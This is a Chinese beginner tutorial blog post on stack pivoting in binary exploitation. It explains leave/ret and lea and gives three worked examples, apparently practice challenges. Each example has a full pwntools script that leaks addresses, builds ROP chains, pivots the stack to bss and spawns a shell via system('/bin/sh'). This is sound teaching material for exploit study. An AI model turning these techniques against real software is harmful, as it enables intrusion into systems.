pwn入门之栈迁移

1.什么是栈迁移

栈迁移可以用于处理栈溢出的情况。当栈溢出且可溢出长度不足以容纳 payload 时,可以通过栈迁移来构建一个新的栈空间以放下 payload

2.栈迁移中需要用到的汇编指令

leave_ret 主要由 leave 和 ret 两条指令组成。

leave 指令相当于 mov esp, ebp 和 pop ebp 的组合,它的作用是将 ebp 的值赋给 esp(即让 esp 指向 ebp 所指的地方),然后将栈上 ebp 所指向的内容 pop 出来。这样,ebp 和 esp 的值都会改变,从而实现了栈的迁移。ret 指令则用于从函数返回,它将 rip(指令指针寄存器)指向栈上的下一个地址,并增加 rsp(栈指针寄存器)的值。通过结合使用 leave 和 ret 指令,可以实现栈迁移,即改变程序的执行流程,使得程序能够从一个栈帧迁移到另一个栈帧。这在处理栈溢出、控制程序流程等方面非常有用。

注意:leave_ret的作用:esp是栈顶,mov  esp ebp就是让esp指向ebp  然后pop ebp将ebp弹走,那么ebp后面的内容就会进行抬栈,整体向上移动4位

3.简单理解

buf距离rbp  0x30
read(0,buf,0x40)
printf(buf)
read(0,buf,0x40)

如上图,通常我们溢出字节往往只有16个字节甚至更少,我们可以通过第一次读入后的printf泄露出具体的地址,从而在第二次read时把完整的rop链子迁移到我们想要的位置。接下来我们通过例题分析。

4.例题分析

##例题1

我们可以看到printf函数会将buf的地址泄露出来,那么我们将垃圾数据填到ebp前面,就可以打印出ebp的地址,从而在第二次输入的时候确定自己payload的位置。那么在第二次payload的时候通过leave_ret指令将栈迁移到确定的位置从而拿到shell。

本题第一次泄露ebp地址,然后第二次直接栈迁移即可

from pwn import *
p = process("./1")
elf=ELF('./1')  
def bug():
	gdb.attach(p)
	pause() 
payload=b'a'*47+b'c'          
bug()
p.send(payload)
p.recvuntil('c')
ebp=u32(p.recv(4))-16           
print(hex(ebp))
payload=(b'a'*4+p32(elf.plt['system'])+p32(0)+p32(ebp-32)+b'/bin/sh\x00').ljust(0x30,b'\x00')+p32(ebp-48)+p32(0x8048604)
pause()
p.send(payload)
p.interactive()

解析第二个payload先输入4个a是因为抬栈原因,最后都会被pop掉,后面就是正常的链p32(ebp-32)是为了确定bin/sh输入的位置,p32(ebp-48)是新的ebp的位置如何得到这两个位置需要看下gdb

这是第一次read后的栈内情况,我们可以观察到ebp距离我们输入a的位置有12*4个距离,这个就是新的ebp。我们看第二次read后栈内情况

可以看到0xffed2a08这个地址就是read读入的地址,并且一条完整的链子已经形成了。

##例题2

 第一次read的位置s在bss处,而bss的位置我们又知道,但是ida中没有system,需要ret2libc来获取。那么我们是不是可以在bss上写入东西然后第二次read读入时迁到bss上执行链子,从而获取libc_base,然后再用相同思路再次迁移形成完整的链子。

p.recvuntil("hello\n")
pay=p64(rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(main)
bug()
p.send(pay)
p.recvuntil("say?\n")
pay=b'a'*96+p64(0x406060-8)+p64(leave_ret)
p.send(pay)

第一次read写入链子,第二次先填入垃圾数据,然后p64(0x406060-8)相当于新的rbp位置,后面的leave_ret是返回地址。

pay=p64(rdi)+p64(bin)+p64(ret)+p64(system)
bug()
p.send(pay)
p.recvuntil("say?\n")
pay=(p64(rdi)+p64(bin)+p64(ret)+p64(system)).ljust(0x60,b'\x00')+p64(0x406060-0x60)+p64(leave_ret)
p.send(pay)

第二次同样操作进行栈迁移即可。因为这里进行补齐0x60操作,所以新的rbp位置只需bss-0x60即可。完整exp如下:

from pwn import *
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux', arch='amd64', log_level='debug')
p = process("./3")
elf=ELF('./3')  
def bug():
	gdb.attach(p)
	pause() 
ret=0x40101a
rdi=0x4012a3
main=0x401210
leave_ret=0x40120E
p.recvuntil("hello\n")
pay=p64(rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(main)
bug()
p.send(pay)
p.recvuntil("say?\n")
pay=b'a'*96+p64(0x406060-8)+p64(leave_ret)
p.send(pay)
read_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base=read_addr-libc.symbols['read']
bin=libc_base+next(libc.search(b'/bin/sh'))
system=libc_base+libc.symbols['system']
p.recvuntil("hello\n")
pay=p64(rdi)+p64(bin)+p64(ret)+p64(system)
bug()
p.send(pay)
p.recvuntil("say?\n")
pay1=(p64(rdi)+p64(bin)+p64(ret)+p64(system)).ljust(0x60,b'\x00')+p64(0x406060-0x60)+p64(leave_ret)
p.send(pay1)
p.interactive()

##例题3

 只有一次读入,并且溢出字节为0x10。思路:前面说到可以将栈迁移到bss段上。这里需要补充一些新的知识,一条汇编指令

lea rax, [rbp+buf] 是一个 x86-64 架构下的汇编指令。这条指令用于计算一个内存地址并将其加载到 rax 寄存器中。lea 是“Load Effective Address”的缩写,它的作用是计算源操作数的有效地址,并将其结果存放到目标操作数指定的寄存器中。它不执行任何内存访问,只是计算地址。rax 是 x86-64 架构下的主寄存器,通常用于存放返回值或临时数据。[rbp+buf] 是一个基于基址指针 rbp(也叫帧指针)的偏移量。buf 是一个变量或偏移量,它与 rbp 相加得到一个新的地址。因此,lea rax, [rbp+buf] 这条指令将计算 rbp + buf 的地址,并将这个地址存放到 rax 寄存器中。通常,这样的指令用于准备后续的内存访问操作,比如读取或写入数据。例如,如果你有一个在栈上的缓冲区 buf,并且你知道它的偏移量相对于当前栈帧的基址指针 rbp,那么你可以使用 lea rax, [rbp+buf] 来获取这个缓冲区的地址,并存储在 rax 中。然后,你可以使用 rax 来读取或写入缓冲区的内容。

我们可以看到buf=rbp-80,那么【rbp+buf】=-80  那么如果我们将rbp改成想要的地址+80,那么我们就可以从这个地址进行再次读入。即pay=b'a'*80+p64(bss+80)+p64(lea_rax)。这里先放exp:

from pwn import *
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux', arch='amd64', log_level='debug')
p = process("./5")
elf=ELF('./5')  
def bug():
	gdb.attach(p)
	pause() 
rdi=0x4012b3
rbp=0x40115d
lea_rax=0x4011ff
leave_ret=0x401227
bss=0x404020+0x300
p.recvuntil("me:")
pay=b'a'*80+p64(bss+80)+p64(lea_rax)     ###pay1
p.send(pay)
pay=(b'a'*8+p64(rdi)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(rbp)+p64(bss+0x500+0x50)+p64(lea_rax)).ljust(0x50,b'\x00')+p64(bss)+p64(leave_ret)
p.send(pay) 
read_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base=read_addr-libc.symbols['read']
bin=libc_base+next(libc.search(b'/bin/sh'))
system=libc_base+libc.symbols['system']
pay=(b'a'*8+p64(rdi)+p64(bin)+p64(rdi+1)+p64(system)).ljust(0x50,b'\x00')+p64(bss+0x500)+p64(leave_ret)
p.send(pay)
p.interactive()

解读payload。第一处payload处我们通过修改rbp从而将下次read的位置迁移到bss处,第二个payload则是为了再次栈迁移,不仅再次read到bss+0x500处,而且泄露出libc地址。b'a'*8会在抬栈操作下pop掉。p64(rbp)中的rbp是pop_rbp_ret,将rbp中原有的值pop走填入我们的rbp从而控制下次读入位置。第三个payload即是正常的一次栈迁移。至此

  • 34
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值